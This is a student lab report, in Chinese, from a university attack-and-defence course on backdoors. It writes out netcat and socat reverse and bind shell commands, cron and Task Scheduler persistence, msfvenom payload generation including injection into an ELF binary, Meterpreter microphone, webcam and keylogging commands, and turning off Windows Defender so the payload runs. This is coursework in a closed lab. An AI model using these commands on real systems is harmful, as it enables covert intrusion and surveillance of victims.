20232315 2025-2026-1 《网络与系统攻防技术》实验二实验报告
目录
- 一、实验基本信息
- 二、实验内容
- 三、实验要求
- 四、实验过程
- 4.1使用netcat获取主机操作Shell
- 4.2使用socat获取主机操作Shell, 任务计划启动
- 4.3使用MSF生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
- 4.4使用MSF生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 4.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 五、回答问题
- 六、问题及解决方案
- 七、实验感想
一、实验基本信息
-
实验环境:Kali Linux虚拟机 + VMware Workstation
-
实验工具:netcat,socat,MSF等
-
实验时间:2025.10.14
二、实验内容
-
使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
-
使用socat获取主机操作Shell, 任务计划启动
-
使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
-
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
-
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
三、实验要求
-
掌握后门原理及免杀技术
-
回答问题
-
例举你能想到的一个后门进入到你系统中的可能方式?
-
例举你知道的后门如何启动起来(win及linux)的方式?
-
Meterpreter有哪些给你映像深刻的功能?
-
如何发现自己有系统有没有被安装后门?
-
四、实验过程
4.1使用netcat获取主机操作Shell
ipconfig
获取主机IP地址
主机IP:192.168.149.1
- Windows上在4444端口启动监听
nact.exe -l -p 4444
- 在4444端口启动netcat监听,当有连接时执行bash shell
nc 192.168.149.1 4444 -e /bin/sh
- Windows上获得kali的shell
ls
命令成功执行;whoami
命令结果:kali
- 执行
script -qc /bin/bash /dev/null
获取完整的shell
- 执行
crontab -l
查看cron服务,若有则执行crontab -r
删除,再用echo "* * * * * /bin/nc 192.168.149.1 4444 -e /bin/bash >/dev/null 2>&1" | crontab -
添加指定cron服务,本实验中添加的服务会使kali中每分钟执行一次nc 192.168.149.1 4444 -e /bin/bash
,这样一来只要在Windows主机上执行监听就能获取kali的shell
- cron任务验证,主机执行
ncat.exe -l -p 4444 -v
,直接获取kali的shell
4.2使用socat获取主机操作Shell, 任务计划启动
-
利用windows的任务计划程序来自启动,获取shell
-
打开任务计划程序,创建系统级计划任务,定义后门的启动条件和行为
- 设置触发器,确定任务如何启动,什么时候启动,这里设置触发器类型为一次,在实验当天的21:40启动
- 设置活动参数,程序或脚本写入socat.exe位置:
D:\socat\socat\socat.exe
;添加参数TCP-LISTEN:2315 EXEC:cmd.exe,pty,stderr
,在2315端口建立TCP监听,当有连接时执行Windows命令提示符,创建伪终端,提供完整的终端功能并将标准错误重定向到标准输出
- 完成创建后,可以看到SocatBackdoor_20232315任务正在运行(此时已过了任务启动时间)
- 在windows上验证2315端口监听功能,已正常监听
- 在kali终端执行
socat - tcp:192.168.149.1:2315
,获取windows的shell
终端命令可正常执行,获取成功。
4.3使用MSF生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
-
生成Windows后门程序,kali上执行命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=2315 -f exe > backdoor20232315.exe
-p windows/meterpreter/reverse_tcp
:使用Windows的Meterpreter反向TCP载荷LHOST=192.168.149.129
:Kali的IP地址(监听端)LPORT=2315
:监听端口-f exe
:输出格式为Windows可执行文件
- 使用http传输,在Kali上启动HTTP服务,执行:
python3 -m http.server 8080
- 在Windows上下载后门文件,在Windows PowerShell中执行:
Invoke-WebRequest -Uri "http://192.168.149.129:8080/backdoor20232315.exe" -OutFile "D:\netcat\ncat\backdoor20232315.exe"
等待文件传输完成后执行dir backdoor20232315.exe
,检查文件是否存在
- 设置MSF监听器,新开一个kali终端执行
msfconsole
,在msfconsole中依次执行:
use exploit/multi/handler # 选择监听处理器,使用多功能请求处理器
set payload windows/meterpreter/reverse_tcp # 设置payload载荷类型,与生成后门时一致
set LHOST 192.168.149.129 # 设置监听地址(kali虚拟机ip地址)
set LPORT 2315 # 设置监听端口
exploit #开始监听
- 此时在主机运行传送过来的后门程序
可以看到msf中:
成功获取windows主机的shell
4.4使用MSF生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 在MSF框架的Meterpreter会话中执行如下命令:
-
record_mic #获取音频,保存到对应目录下
可以在文件管理器的对应目录下看到生成的音频文件
-
webcam_snap #获取摄像头,主机摄像头权限要打开
成功获取主机摄像头拍照
-
keyscan_start #记录主机键盘记录,开始记录 keyscan_dump #读取记录
成功读取到主机键盘的输入记录
-
getuid #查看当前用户 getsystem #提权
第一次提权失败,后尝试了AI推荐的一些解决方案,均没有成功,检查了一下当前用户的权限:
从权限列表看,当前用户账户是管理员组的成员,但当前meterpreter进程没有管理员权限,受UAC限制,只能以标准用户权限运行,无法执行需要提升权限的操作。
4.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
利用MSF生成shellcode,注入到目标程序 pwn20232315_shell(存在漏洞的Linux程序)中,当运行程序时同时执行shellcode,获取kali虚拟机的shell,先执行以下命令生成文件
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.149.129 LPORT=2315 -x /home/kali/Downloads/pwn20232315_shell -f elf > 20232315_pwnshell.elf
-
msfvenom
: Metasploit框架中的payload生成工具 -
-p linux/x86/meterpreter_reverse_tcp
:-
-p 指定payload类型
-
linux/x86/meterpreter_reverse_tcp 是一个针对Linux x86系统的反向TCP连接payload
-
-
LHOST=192.168.149.129
: 攻击者的IP地址(监听端) -
LPORT=2315
: 攻击者监听的端口号 -
-x /home/kali/Downloads/pwn20232315_shell
:- -x 指定要注入payload的模板文件,并将恶意代码注入目标可执行文件中
-
-f elf
: 输出格式为ELF(Linux可执行文件格式) -
> 20232315_pwnshell.elf
: 将生成的payload重定向到名为20232315_pwnshell.elf的文件中
-
-
执行
msfconsole
进入msf控制台,执行以下命令,设置Metasploit监听器:use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp #设置payload类型为Linux x86系统的反向TCP meterpreter set LHOST 192.168.149.129 #设置监听主机(kali)的IP地址 set LPORT 2315 #设置监听端口 exploit #启动监听器
-
另开一个终端执行
./20232315_shell.elf
,运行生成的可执行文件中间退出重新运行了一下20232315_pwnshell.elf文件,但最终成功获取了kali的shell,完成了攻击
五、回答问题
-
例举你能想到的一个后门进入到你系统中的可能方式?
-
攻击者可能会发送带有恶意附件的钓鱼邮件,伪装成正常的邮件,受害者点击后就可能在计算机中被植入后门
-
在一些非官方网站中下载的app就可能带有恶意后门
-
-
例举你知道的后门如何启动起来(win及linux)的方式?
-
Windows:利用任务计划程序创建定时启动任务
-
Linux:cron定时任务,如实验中使用的
-
-
Meterpreter有哪些给你映像深刻的功能?
-
能够对指定程序生成shellcode并注入,获取目标主机shell,使用简单
-
一旦获取目标主机的shell,就能获取对方的麦克风、摄像头、键盘记录等,可以让被攻击者在不知不觉中就被监视
-
-
如何发现自己有系统有没有被安装后门?
-
检查是否有异常网络连接:
netstat -anp | grep ESTABLISHED
-
检查是否有端口在监听:
ss -tuln | grep LISTEN
-
六、问题及解决方案
1. 后门程序无法运行
问题:第一次在主机运行传送过来的后门程序,程序无法运行
原因:系统将文件识别成病毒
解决:临时关闭Windows Defender,打开windows安全中心,关闭实时保护和篡改保护
2. MSF监听器在不断地重复发送stage
问题:在进行4.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell的实验时,第一次进行exploit监听时,链接似乎成功了,但MSF监听器在不断地重复发送stage,但没有成功建立meterpreter会话
原因:分析输出内容发现,连接到达了192.168.149.1,这是windows主机的ip地址,但在这一步的实验中是需要连接到的是kali虚拟机本身,猜测是因为这一步实验中使用的监听端口和4.3 使用MSF生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell中使用的监听端口相同,而且主机上后门程序还在运行,导致连接错了地方
解决:彻底结束主机的后门程序,重新进行MSF监听,并在执行exploit
后尽快执行kali上的20232315_pwnshell.elf文件,获取到了kali的shell。
3. ncat或socat传输出错
实验要求使用ncat或socat传输生成的后门程序,但不知为何,我在进行这一步时不是无法传输就是文件在传输过程中有损坏(其实一开始有成功传输的文件,但在更新Metasploit后就不能成功传输了),试了AI推荐的方法也没有解决,所以最后采用了http传输。
七、实验感想
完成试验后,我感觉本次实验难度似乎不是太大,但是在进行实验的过程中总是会遇到各种各样意想不到的问题,最主要的还是MSF meterpreter的使用,初次接触不熟悉甚至不知从何下手。在进行4.3 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell这一步时被卡了很久,我遇到了同学们在群里讨论过的比较普遍的问题,也遇到了其他同学没遇到的问题,过程中甚至搞崩了Metasploit的bundle环境,最后不得不重建虚拟机。总之,于我个人而言本次实验的过程有些艰难,但也让我收获颇多,更深入地了解了Metasploit框架和netcat、socat等工具的作用与如何使用。同时,本次实验也让我从攻击者的角度看到了恶意代码的威力。作为网络安全学习者,我们学习的技术既能用于保护系统安全,也可能被恶意使用。在今后的学习和工作中,我们必须时刻遵守职业道德和法律法规,将所学知识用于正当的防御和测试目的。